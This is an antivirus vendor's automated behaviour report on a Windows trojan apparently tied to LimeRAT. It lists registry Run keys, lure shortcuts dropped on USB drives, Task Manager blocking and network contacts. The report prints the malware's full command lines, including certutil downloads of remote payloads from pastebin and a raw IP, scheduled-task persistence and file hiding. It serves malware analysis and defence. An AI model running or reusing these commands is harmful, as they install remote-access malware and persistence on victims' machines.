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Trojan.Siggen18.34345

Added to the Dr.Web virus database: 2022-08-11

Virus description added:

Technical Information

To ensure autorun and distribution
Modifies the following registry keys
  • [<HKCU>\software\microsoft\windows\currentversion\run] 'main' = '"%APPDATA%\AppData\Flash Player\\main.vbs"'
  • [<HKLM>\software\microsoft\windows\currentversion\run] 'main' = '"%APPDATA%\AppData\Flash Player\\main.vbs"'
  • [<HKCU>\software\microsoft\windows\currentversion\run] 'backup' = '"%APPDATA%\AppData\Flash Player\\backup.vbs"'
  • [<HKLM>\software\microsoft\windows\currentversion\run] 'backup' = '"%APPDATA%\AppData\Flash Player\\backup.vbs"'
  • [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Windows Logons' = '%WINDIR% (x86)\explorer.exe'
  • [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Windows Updates' = '%APPDATA%\AppData\Windows Updates\winupdate.exe'
Creates or modifies the following files
  • %APPDATA%\microsoft\windows\start menu\programs\startup\main.vbs
  • %APPDATA%\microsoft\windows\start menu\programs\startup\backup.vbs
  • %APPDATA%\microsoft\windows\start menu\programs\startup\microsoft.exe
  • <SYSTEM32>\tasks\limerat-admin
Creates the following files on removable media
  • <Drive name for removable media>:\backup.vbs
  • <Drive name for removable media>:\roozenedowebinar.lnk
  • <Drive name for removable media>:\iso27k_isms_implementation_and_certification_process_overview_v2.lnk
  • <Drive name for removable media>:\gruenspecht_02172016.lnk
  • <Drive name for removable media>:\middaugh_keynote.lnk
  • <Drive name for removable media>:\metac.lnk
  • <Drive name for removable media>:\ksearch_esa_talk.lnk
  • <Drive name for removable media>:\writingcompletesarnarrative_1103.lnk
  • <Drive name for removable media>:\ppswamp.lnk
  • <Drive name for removable media>:\bg_search_box.lnk
  • <Drive name for removable media>:\arrow-down.lnk
  • <Drive name for removable media>:\dissolveanother.lnk
  • <Drive name for removable media>:\block.lnk
  • <Drive name for removable media>:\background.lnk
  • <Drive name for removable media>:\tunpersonalca1.lnk
  • <Drive name for removable media>:\cert.lnk
  • <Drive name for removable media>:\systisoft.lnk
  • <Drive name for removable media>:\hhhlcert.lnk
  • <Drive name for removable media>:\delongcacert.lnk
  • <Drive name for removable media>:\ck_ugo.lnk
  • <Drive name for removable media>:\lom602.lnk
  • <Drive name for removable media>:\bc01.lnk
  • <Drive name for removable media>:\2015-02-patients-topic-work-related-asthma-jobs.lnk
  • <Drive name for removable media>:\video.lnk
  • <Drive name for removable media>:\indogerman2010.lnk
  • <Drive name for removable media>:\swc_2009-03-02.lnk
  • <Drive name for removable media>:\backup.lnk
  • <Drive name for removable media>:\taxus_baccata.lnk
  • <Drive name for removable media>:\productos.lnk
  • <Drive name for removable media>:\removedtitles_records.lnk
  • <Drive name for removable media>:\contractualdeadlines.lnk
  • <Drive name for removable media>:\national_autism_preparation_programs.lnk
  • <Drive name for removable media>:\al.lnk
  • <Drive name for removable media>:\2013_smccc_competition_points_jul2013.lnk
  • <Drive name for removable media>:\highly_cited_2001.lnk
  • <Drive name for removable media>:\suspendedcompanies.lnk
  • <Drive name for removable media>:\guide_reorganization_mapping.lnk
  • <Drive name for removable media>:\price030215.lnk
  • <Drive name for removable media>:\calculatorworksheet.lnk
  • <Drive name for removable media>:\1sm_price.lnk
  • <Drive name for removable media>:\passport_pal.lnk
  • <Drive name for removable media>:\flower_trans_matte.lnk
  • <Drive name for removable media>:\krsweden.lnk
  • <Drive name for removable media>:\phytoremediation.lnk
  • <Drive name for removable media>:\pandp.lnk
  • <Drive name for removable media>:\router_manual.lnk
  • <Drive name for removable media>:\waterlandhealthkano.lnk
  • <Drive name for removable media>:\static_electricity_easy_and_quick_activities.lnk
  • <Drive name for removable media>:\fungalnameauthors.lnk
  • <Drive name for removable media>:\contenttypes.lnk
  • <Drive name for removable media>:\sioc.lnk
  • <Drive name for removable media>:\clip_480_5sec_6mbps_h264.lnk
  • <Drive name for removable media>:\foaf.lnk
  • <Drive name for removable media>:\51.lnk
  • <Drive name for removable media>:\issi2013_template_for_posters.lnk
  • <Drive name for removable media>:\aoc_saq_d_v3_merchant.lnk
  • <Drive name for removable media>:\glidescope_review_rev_010.lnk
  • <Drive name for removable media>:\hadac_newsletter_july_2010_final.lnk
  • <Drive name for removable media>:\lisp_success.lnk
  • <Drive name for removable media>:\february_catalogue__2015.lnk
  • <Drive name for removable media>:\cveuropeo.lnk
  • <Drive name for removable media>:\ovp25012015.lnk
  • <Drive name for removable media>:\applicantform_en.lnk
  • <Drive name for removable media>:\508softwareandos.lnk
  • <Drive name for removable media>:\sdksampleprivdeveloper.lnk
  • <Drive name for removable media>:\contosoroot_1.lnk
  • <Drive name for removable media>:\testcertificate.lnk
  • <Drive name for removable media>:\contoso_1.lnk
  • <Drive name for removable media>:\default.lnk
  • <Drive name for removable media>:\dial.lnk
  • <Drive name for removable media>:\toolbar.lnk
  • <Drive name for removable media>:\dashborder_96.lnk
  • <Drive name for removable media>:\main.vbs
  • <Drive name for removable media>:\dashborder_192.lnk
  • <Drive name for removable media>:\dashborder_144.lnk
  • <Drive name for removable media>:\split.lnk
  • <Drive name for removable media>:\delete.lnk
  • <Drive name for removable media>:\correct.lnk
  • <Drive name for removable media>:\nwfieldnotes1966.lnk
  • <Drive name for removable media>:\file_p_00000000_1371597592.lnk
  • <Drive name for removable media>:\spanner.lnk
  • <Drive name for removable media>:\thlps_keeper_mayer_1965.lnk
  • <Drive name for removable media>:\pushkin.lnk
  • <Drive name for removable media>:\2.lnk
  • <Drive name for removable media>:\3.lnk
  • <Drive name for removable media>:\4f0bf7ff71f28.lnk
  • <Drive name for removable media>:\210252809.lnk
  • <Drive name for removable media>:\168.lnk
  • <Drive name for removable media>:\1189.lnk
  • <Drive name for removable media>:\about.lnk
  • <Drive name for removable media>:\howto-index.lnk
  • <Drive name for removable media>:\adadsi.lnk
  • <Drive name for removable media>:\api-hashmap.lnk
  • <Drive name for removable media>:\browse.lnk
  • <Drive name for removable media>:\ituneshelpunavailable.lnk
  • <Drive name for removable media>:\advice_process.lnk
  • <Drive name for removable media>:\iisstart.lnk
  • <Drive name for removable media>:\trivial-merge.lnk
  • <Drive name for removable media>:\utorrent.lnk
  • <Drive name for removable media>:\notepad.lnk
  • <Drive name for removable media>:\calc.lnk
  • <Drive name for removable media>:\chromesetup.lnk
  • <Drive name for removable media>:\tcm851ax32.lnk
  • <Drive name for removable media>:\skypesetup.lnk
  • <Drive name for removable media>:\adhd_and_obesity.lnk
  • <Drive name for removable media>:\etc6_m_1.lnk
  • <Drive name for removable media>:\main.lnk
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
  • Windows Task Manager (Taskmgr)
Executes the following
  • '<SYSTEM32>\taskkill.exe' /IM taskmgr.exe /F
  • '<SYSTEM32>\taskkill.exe' /IM xmrig.exe /F
Modifies file system
Creates the following files
  • %TEMP%\d133.tmp\d134.bat
  • %APPDATA%\appdata\flash player\main.vbs
  • %APPDATA%\appdata\flash player\backup.vbs
  • %TEMP%\8dec.tmp\8e2c.bat
  • %TEMP%\updatew\main.vbs
  • %TEMP%\updatew\clsio.vbs
  • %TEMP%\updatew\backup.vbs
  • %APPDATA%\appdata\windows updates\winupdate.exe
  • %TEMP%\updatew\windowsapp.exe
  • %TEMP%\updatew\winlogon.exe
  • %TEMP%\updatew\microsoft.exe
  • %TEMP%\ie.exe
  • %TEMP%\windowscheck_182352115_log.bat
  • %TEMP%\veriu.bat
  • %TEMP%\dd_vcredist_windows_check_31029441313.log
  • %TEMP%\updatew\winupdate.exe
  • %APPDATA%\appdata\windows protector\winlogon.exe
Sets the 'hidden' attribute to the following files
  • %APPDATA%\appdata\flash player\backup.vbs
  • %APPDATA%\appdata\flash player\main.vbs
  • <Drive name for removable media>:\backup.vbs
  • <Drive name for removable media>:\main.vbs
  • %APPDATA%\appdata\windows updates\winupdate.exe
Deletes the following files
  • %TEMP%\veriu.bat
  • %TEMP%\windowscheck_182352115_log.bat
  • %TEMP%\d133.tmp\d134.bat
  • %TEMP%\updatew\backup.vbs
  • %TEMP%\updatew\main.vbs
  • %TEMP%\updatew\winlogon.exe
  • %APPDATA%\microsoft\windows\start menu\programs\startup\backup.vbs
  • %APPDATA%\microsoft\windows\start menu\programs\startup\main.vbs
  • %TEMP%\updatew\microsoft.exe
  • %TEMP%\updatew\winupdate.exe
Substitutes the following files
  • %TEMP%\veriu.bat
Network activity
Connects to
  • 'pa###bin.com':443
  • 'microsoft.com':80
  • '54.##4.238.33':8380
  • 'nv####der.mooo.com':18632
  • 'nv####der.mooo.com':16029
TCP
HTTP GET requests
  • http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
  • http://54.###.238.33:8380/IE.exe via 54.##4.238.33
Other
  • 'pa###bin.com':443
UDP
  • DNS ASK pa###bin.com
  • DNS ASK microsoft.com
  • DNS ASK nv####der.mooo.com
  • DNS ASK uk####8425.ddns.net
  • DNS ASK uk#####425.ddnsking.com
  • DNS ASK uk######25.3utilities.com
  • DNS ASK uk#####425.bounceme.net
  • DNS ASK uk#######5.freedynamicdns.net
Miscellaneous
Searches for the following windows
  • ClassName: 'EDIT' WindowName: ''
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%TEMP%\ie.exe'
  • '%TEMP%\updatew\windowsapp.exe'
  • '%TEMP%\updatew\winlogon.exe'
  • '%APPDATA%\appdata\windows protector\winlogon.exe'
  • '<SYSTEM32>\cmd.exe' /c "%TEMP%\D133.tmp\D134.bat <Full path to file>"' (with hidden window)
  • '<SYSTEM32>\cmd.exe' /c "%TEMP%\8DEC.tmp\8E2C.bat %TEMP%\updateW\windowsapp.exe"' (with hidden window)
  • '%WINDIR%\syswow64\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'%APPDATA%\AppData\Windows Protector\winlogon.exe'"' (with hidden window)
Executes the following
  • '<SYSTEM32>\cmd.exe' /c "%TEMP%\D133.tmp\D134.bat <Full path to file>"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData"
  • '<SYSTEM32>\wbem\wmic.exe' process where name='Microsoft.exe' delete
  • '<SYSTEM32>\wbem\wmic.exe' process where name='winupdate.exe' delete
  • '<SYSTEM32>\reg.exe' ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows Logons" /t REG_SZ /F /D "%WINDIR% (x86)\explorer.exe"
  • '<SYSTEM32>\reg.exe' ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Windows Updates" /t REG_SZ /F /D "%APPDATA%\AppData\Windows Updates\winupdate.exe"
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Windows Updates"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Protector\*.*"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Protector"
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Windows Updates\*.*"
  • '<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\Microsoft.exe" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup" /K /D /H /Y
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Updates\*.*"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Windows Updates"
  • '<SYSTEM32>\wbem\wmic.exe' process where ExecutablePath='C:\\Windows (x86)\\explorer.exe' delete
  • '<SYSTEM32>\wbem\wmic.exe' process where ExecutablePath='C:\\Windows (x86)\\PolicyDefinitions\\en-US\\regedit.exe' delete
  • '<SYSTEM32>\attrib.exe' -s -h "%WINDIR% (x86)\*.*"
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\*.*"
  • '<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\winupdate.exe" "%APPDATA%\AppData\Windows Updates" /K /D /H /Y
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Flash Player\"
  • '<SYSTEM32>\attrib.exe' +s +h "%APPDATA%\AppData\Flash Player\*.*"
  • '<SYSTEM32>\wscript.exe' "%APPDATA%\AppData\Flash Player\main.vbs"
  • '<SYSTEM32>\find.exe' /c "ECHO OK" "%TEMP%\VERIU.BAT"
  • '<SYSTEM32>\cmd.exe' /c del "<Current directory>\"%TEMP%\VERIU.BAT""
  • '<SYSTEM32>\wbem\wmic.exe' process where name='taskmgr.exe' delete
  • '<SYSTEM32>\wbem\wmic.exe' process where name='xmrig.exe' delete
  • '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
  • '<SYSTEM32>\certutil.exe' -urlcache -split -f https://pastebin.com/raw/03Gje1tb "%TEMP%\windowscheck_182352115_log.bat"
  • '<SYSTEM32>\find.exe' /c "set active" "%TEMP%\windowscheck_182352115_log.bat"
  • '<SYSTEM32>\certutil.exe' -urlcache -split -f https://pastebin.com/raw/gGQgTLmg "%TEMP%\VERIU.BAT"
  • '<SYSTEM32>\certutil.exe' -urlcache -split -f "http://54.###.238.33:8380/IE.exe" %TEMP%\IE.exe
  • '<SYSTEM32>\cmd.exe' /c "%TEMP%\8DEC.tmp\8E2C.bat %TEMP%\updateW\windowsapp.exe"
  • '<SYSTEM32>\cmd.exe' /c del "%TEMP%\updateW\"%TEMP%\VERIU.BAT""
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Flash Player\*.*"
  • '<SYSTEM32>\attrib.exe' -s -h "%APPDATA%\AppData\Flash Player\"
  • '<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\backup.vbs" "%APPDATA%\AppData\Flash Player" /K /D /H /Y
  • '<SYSTEM32>\xcopy.exe' "%TEMP%\updateW\main.vbs" "%APPDATA%\AppData\Flash Player" /K /D /H /Y
  • '<SYSTEM32>\wscript.exe' "%APPDATA%\AppData\Flash Player\backup.vbs"
  • '<SYSTEM32>\cmd.exe' /c del "<Current directory>\"%TEMP%\windowscheck_182352115_log.bat""
  • '<SYSTEM32>\certutil.exe' -urlcache -split -f "http://54.###.238.33:8380/xm/win.com" "%TEMP%\updateW\win.com"
  • '%WINDIR%\syswow64\schtasks.exe' /create /f /sc ONLOGON /RL HIGHEST /tn LimeRAT-Admin /tr "'%APPDATA%\AppData\Windows Protector\winlogon.exe'"

Recommandations pour le traitement

  1. Si le système d'exploitation peut être démarré (en mode normal ou en mode sans échec), téléchargez Dr.Web Security Space et lancez un scan complet de votre ordinateur et de tous les supports amovibles que vous utilisez. En savoir plus sur Dr.Web Security Space.
  2. Si le démarrage du système d'exploitation est impossible, veuillez modifier les paramètres du BIOS de votre ordinateur pour démarrer votre ordinateur via CD/DVD ou clé USB. Téléchargez l'image du disque de secours de restauration du système Dr.Web® LiveDisk ou l'utilitaire pour enregistrer Dr.Web® LiveDisk sur une clé USB, puis préparez la clé USB appropriée. Démarrez l'ordinateur à l'aide de cette clé et lancez le scan complet et le traitement des menaces détectées.
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Veuillez lancer le scan complet de toutes les partitions du disque à l'aide de Dr.Web Antivirus pour Linux.

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  1. Si votre appareil mobile fonctionne correctement, veuillez télécharger et installer sur votre appareil mobile Dr.Web pour Android. Lancez un scan complet et suivez les recommandations sur la neutralisation des menaces détectées.
  2. Si l'appareil mobile est bloqué par le Trojan de la famille Android.Locker (un message sur la violation grave de la loi ou la demande d'une rançon est affiché sur l'écran de l'appareil mobile), procédez comme suit:
    • démarrez votre Smartphone ou votre tablette en mode sans échec (si vous ne savez pas comment faire, consultez la documentation de l'appareil mobile ou contactez le fabricant) ;
    • puis téléchargez et installez sur votre appareil mobile Dr.Web pour Android et lancez un scan complet puis suivez les recommandations sur la neutralisation des menaces détectées ;
    • Débranchez votre appareil et rebranchez-le.

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